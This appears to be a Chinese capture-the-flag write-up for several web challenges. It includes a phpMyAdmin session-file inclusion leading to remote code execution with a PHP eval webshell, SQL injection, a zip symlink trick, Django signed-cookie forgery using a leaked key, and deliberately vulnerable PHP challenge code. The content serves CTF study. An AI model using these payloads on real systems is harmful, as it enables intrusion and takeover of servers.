web1[复现]
虽然有order by注入,但并无太大用处,权限不够,也不能堆叠
- 文件泄露
200 304B http://120.26.75.91:38880/db.sql 200 502B http://120.26.75.91:38880/Dockerfile 200 1KB http://120.26.75.91:38880/index.php 200 1KB http://120.26.75.91:38880/index.php/login/ 301 326B http://120.26.75.91:38880/phpMyAdmin 200 9KB http://120.26.75.91:38880/phpMyAdmin/ 200 37B http://120.26.75.91:38880/robots.txt
当初做的时候,没去看db.sql 憨憨了
db.sql
CREATE USER 'test'@'%' IDENTIFIED BY 'HelloDASCTF'; CREATE DATABASE test; use test; CREATE TABLE goods ( id int(11) primary key auto_increment, name varchar(256), price int(11) ); INSERT INTO users values (1, '老八秘制小汉堡', 8),(2, '火鸡面', 1); GRANT ALL ON test.* TO 'test'@'%';
Dockerfile
FROM dasctfbase/web_php73_apache_mysql COPY src /var/www/html # 如需自定义 FLAG 请将自定义脚本覆盖到 /flag.sh COPY files/flag.sh /flag.sh # 如需操作数据库请将 sql 文件拷贝到 /db.sql COPY files/db.sql /db.sql # 如有上传文件等操作请务必将权限设置正确! # RUN chown www-data:www-data /var/www/html/uploads/ # 如需静态 FLAG 请在此利用环境变量声明 # ENV DASCTF=DASCTF{flag_test} # 请声明对外暴露端口 EXPOSE 80
得到test密码为HelloDASCTF
登录phpMyadmin
,并利用https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
exp
sql语句执行
select "<?php eval($_GET[1]);?>";
之后获取自己的cookie,利用lif漏洞进行包含和rce
最后payload
http://120.26.75.91:38880/phpMyAdmin/?target=db_sql.php%253f/../../../../../../../../tmp/sess_e5c062c7a491ab91efb493da7afa1a1d&1=system(%27cat%20/ewkhr4uirh4ri34ur3iruird_flag_f%20%27);
web2
<?php $key = "********"; srand(time()); $a = rand(0,100); $b = rand(0,100); $c = rand(0,100); $d = rand(0,100); $e = rand(0,100); $result = ((($a - $b)/$c)+$d) * $e; $result = md5($key.$result.$key); show_source(__FILE__); ?>
payload.py
import requests import HackRequests import re import hashlib from time import * hack = HackRequests.hackRequests() def md5(data): return hashlib.md5(data.encode(encoding='UTF-8')).hexdigest() url = "http://183.129.189.60:10007" raw_orange = ''' POST /flag.php HTTP/1.1 Host: 183.129.189.60:10007 Content-Length: 39 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41 Origin: null Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23 Connection: close answer=5dafe5ec8287afcd6f215bfc2d05c7b2 ''' first= hack.httpraw(raw_orange) code = first.text() code = code[160:-3] print(code) raw_orange = ''' POST /flag.php HTTP/1.1 Host: 183.129.189.60:10007 Content-Length: 39 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41 Origin: null Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23 Connection: close answer={} '''.format(code) print(raw_orange) hh = hack.httpraw(raw_orange) print(hh.text())
web3
/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*:
/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*
构造软链接
zip -y flag.zip test
web4
sql注入
http://183.129.189.60:10017/show.php?id=0'/**/or/**/'1'='1
web5[待补]
生成admin_session
import os os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings') from django.conf import settings from django.core import signing from django.contrib.sessions.backends import signed_cookies from passlib.hash import pbkdf2_sha256 from django.contrib.auth.hashers import make_password, check_password sess = signing.loads('.eJyrVsosjs_JT8_MU7IqKSpN1VEqTk0uSi1RslIqCwmrSvPxzM_J9DcwzHCvUNIBqU1MyQWpTUvMKQYqLi1OLYrPS8xNBapPSzUsN1CCimWmKFkZmdUCACadH_U:1kgesn:M6sm9YEyDl8Tz9BaE2enF1HgCEg',key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',salt='django.contrib.sessions.backends.signed_cookies') print sess sess[u'is_admin']=True print sess s= signing.dumps(sess, key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',compress=True, salt='django.contrib.sessions.backends.signed_cookies') print s
访问source获得源代码
HTTP/1.1 200 OK Date: Sun, 22 Nov 2020 02:33:49 GMT Server: WSGIServer/0.2 CPython/3.5.2 Vary: Cookie Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 7786 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>åªæææè½ç¨çAESå¾çå å¯ç¨åº</title> </head> <body> <h1>views.py</h1> <code> from django.shortcuts import render from django.shortcuts import redirect import hashlib import string import random from . import models from . import forms from . import file_handle def hash_code(s, salt='hellohacker'): h = hashlib.sha256() s += salt h.update(s.encode()) return h.hexdigest() # æªç»å½äººåï¼ä¸è®ºæ¯è®¿é®indexè¿æ¯loginålogoutï¼å
¨é¨è·³è½¬å°loginçé¢ # å·²ç»å½äººåï¼è®¿é®loginä¼èªå¨è·³è½¬å°indexé¡µé¢ # å·²ç»å½äººåï¼ä¸å
è®¸ç´æ¥è®¿é®register页é¢ï¼éå
logout # ç»åºåï¼èªå¨è·³è½¬å°loginçé¢ # Create your views here. def index(request): if not request.session.get('is_login', None): return redirect('/login/') user = request.session.get('user_name') if not request.session.get('is_admin', None): message_f = 'ä½ ä¸æ¯ç®¡çåï¼è¯·åæç®¡çå' else: message_s = '欢è¿ç»éï¼ç®¡çå' return render(request, 'login/index.html', locals()) def login(request): if request.session.get('is_login', None): return redirect('/index/') if request.method == "POST": login_form = forms.UserForm(request.POST) message = 'è¯·æ£æ¥å¡«åçå
容!' if login_form.is_valid(): username = login_form.cleaned_data.get('username') password = login_form.cleaned_data.get('password') try: user = models.User.objects.get(name=username) except: message = 'ç¨æ·ä¸åå¨' return render(request, 'login/login.html', locals()) if user.password == hash_code(password): request.session['is_login'] = True request.session['user_id'] = user.id request.session['user_name'] = user.name request.session['secret'] = ''.join(random.sample(string.ascii_letters+string.digits, 16)) request.session['is_admin'] = False return redirect('/index/') else: message = 'å¯ç 䏿£ç¡®' return render(request, 'login/login.html', locals()) login_form = forms.UserForm() return render(request, 'login/login.html', locals()) def register(request): if request.session.get('is_login', None): return redirect('/index/') if request.method == 'POST': register_form = forms.RegisterForm(request.POST) message = "è¯·æ£æ¥å¡«åçå
容" if register_form.is_valid(): username = register_form.cleaned_data.get('username') password = register_form.cleaned_data.get('password') same_name_user = models.User.objects.filter(name=username) if same_name_user: message = 'ç¨æ·åå·²ç»åå¨' return render(request, 'login/register.html', locals()) new_user = models.User() new_user.name = username new_user.password = hash_code(password) new_user.save() return redirect('/login/') else: return render(request, 'login/register.html', locals()) register_form = forms.RegisterForm() return render(request, 'login/register.html', locals()) def logout(request): if not request.session.get('is_login', None): return redirect('/login/') request.session.flush() return redirect('/login/') def upload_file(request): if not request.session.get('is_login', None): return redirect('/login/') if not request.session.get('is_admin', None): return render(request, 'login/admin.html') if request.method == 'POST': img = request.FILES.get('img', None) if img.content_type != 'image/png' or img.size > 300000 or img._name.split('.')[1] != 'png': message = 'åªå
许ä¸ä¼ png æä»¶ä¸æä»¶å°äº300kb' return render(request, 'login/result.html', locals()) user = request.session.get('user_name') key = request.session.get('secret') file_handle.img_handle(img, key, user, img._name.split('.')[0]) message = 'success' return render(request, 'login/result.html', locals()) else: return render(request, 'login/upload.html', locals()) def show_source(request): if not request.session.get('is_login', None): return redirect('/login/') if not request.session.get('is_admin', None): return render(request, 'login/admin.html') return render(request, 'login/code.html') </code> <h1>file_handle.py</h1> <code> from PIL import Image from . import pic_encrypto from challenge import settings import os import hashlib def img_handle(f, key, name, i_name): try: img = Image.open(f) except: return False h = hashlib.md5() h.update((name+key).encode()) save_path = settings.MEDIA_ROOT + '/' + h.hexdigest() if not os.path.exists(save_path): os.makedirs(save_path.replace('\\', '/')) print(save_path) print(i_name) h.update((i_name + key).encode()) print(h.hexdigest()+'.png') pic_encrypto.encrypt(img, key.encode(), save_path, h.hexdigest()+'.png') </code> <h1>pic_encrypto.py</h1> <code> from Crypto.Cipher import AES import binascii from PIL import Image def replace_all(text, dic): for i, j in dic.items(): i = i.encode() j = j.encode() text = text.replace(i, j) return text def construct_enc_image(ciphertext, relength, width, height, save_path, i_name): asciicipher = binascii.hexlify(ciphertext) reps = {'a': '1', 'b': '2', 'c': '3', 'd': '4', 'e': '5', 'f': '6', 'g': '7', 'h': '8', 'i': '9', 'j': '10', 'k': '11', 'l': '12', 'm': '13', 'n': '14', 'o': '15', 'p': '16', 'q': '17', 'r': '18', 's': '19', 't': '20', 'u': '21', 'v': '22', 'w': '23', 'x': '24', 'y': '25', 'z': '26'} asciiciphertxt = replace_all(asciicipher, reps) step = 3 encimageone = [asciiciphertxt[i:i + step] for i in range(0, len(asciiciphertxt), step)] if int(encimageone[len(encimageone) - 1]) < 100: encimageone[len(encimageone) - 1] += b"1" if len(encimageone) % 3 != 0: while (len(encimageone) % 3 != 0): encimageone.append(b"101") encimagetwo = [(int(encimageone[int(i)]), int(encimageone[int(i + 1)]), int(encimageone[int(i + 2)])) for i in range(0, len(encimageone), step)] while (int(relength) != len(encimagetwo)): encimagetwo.pop() encim = Image.new("RGB", (int(width), int(height))) encim.putdata(encimagetwo) encim.save(save_path + '/' + i_name) def encrypt(im, key, save_path, i_name): plaintext = list() plaintextstr = "" pix = im.load() width = im.size[0] height = im.size[1] for y in range(0, height): for x in range(0, width): plaintext.append(pix[x, y]) for i in range(0, len(plaintext)): for j in range(0, 3): aa = int(plaintext[i][j]) + 100 plaintextstr = plaintextstr + str(aa) relength = len(plaintext) plaintextstr = plaintextstr.encode() plaintextstr += b"h" + bytes(height) + b"h" + b"w" + bytes(width) + b"w" while (len(plaintextstr) % 16 != 0): plaintextstr = plaintextstr + b"n" key = key try: obj = AES.new(key, AES.MODE_CBC, b'aaaaaaaaaaaaaaaa') except: return False ciphertext = obj.encrypt(plaintextstr) # c = open("flag.crypto", 'wb') # c.write(flag) construct_enc_image(ciphertext, relength, width, height, save_path, i_name) </code> </body> </html>
web6[待复现]
<?php error_reporting(0); //flag.php if( isset( $_GET['code'] ) ) { $code = $_GET['code']; if( strlen( $code ) > 18 ) { die("You really long, but i dont like more than 18cm"); } if ( preg_match( "/\w/", $code ) ) { die("i dislike it"); } if ( preg_match( "/&|\||\^|\~|\!/", $code ) ) { die("stop calculating"); } if ( preg_match( "/\(|\)/", $code ) ) { die("call function is not safe"); } if ( preg_match( "/\(|\)/", $code ) ) { die("call function is not safe"); } if ( preg_match( "/\{|\}|\[|\]/", $code ) ) { die( "fxcking brackets"); } if ( preg_match( "/\\$|@|\./", $code ) ) { die("$1 dou bu gei wo"); } eval( $code ); //I believe that those noob hackers cannot hack me } else { show_source(__FILE__); } ?>
Web7-UploadAvatar[待复现]
<?php ini_set('open_basedir', './:/tmp/'); class User{ private $pdoDb = 'mysql:host=mysql5.7;dbname=ctf;port=3306'; private $user = [] ; private $dbUserName='root'; private $dbPassword='root'; public $username = 'admin' ; public $password = '123456'; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $db = new PDO($this->pdoDb,$this->dbUserName,$this->dbPassword); $state = $db->query('select username,password from user where id=1'); echo "<h2>username: $this->username</h2>"; echo "<h2>password: $this->password</h2>"; $res = $state->fetchAll()[0]; if($res['username']===$this->username && $res['password']===md5($this->password)){ include 'flag.php'; echo $flag; }else{ echo 'your are a hacker!'; } } } parse_str(@$_SERVER['QUERY_STRING']); $sandBox = $_SERVER['REMOTE_ADDR']; if(!is_dir($sandBox)){ mkdir($sandBox,0755,true); file_put_contents($sandBox.'/.htaccess','php_flag engine off'); } switch($action){ case '': highlight_file(__FILE__); break; case 'auth': if($username==''||$password==''){ die('please input username and password!'); } if(!file_exists($sandBox.'/pic.jpg')){ echo '<h1>赶紧给自己传一个屌炸天的头像啊!!</h1>'; }else{ echo "<img src='".$sandBox.'/pic.jpg'."'/>"; } $o = new User($username,$password); unserialize(serialize($o)); break; case 'profile': if($_FILES){ move_uploaded_file($_FILES['profile']['tmp_name'],$sandBox.'/pic.jpg'); } break; }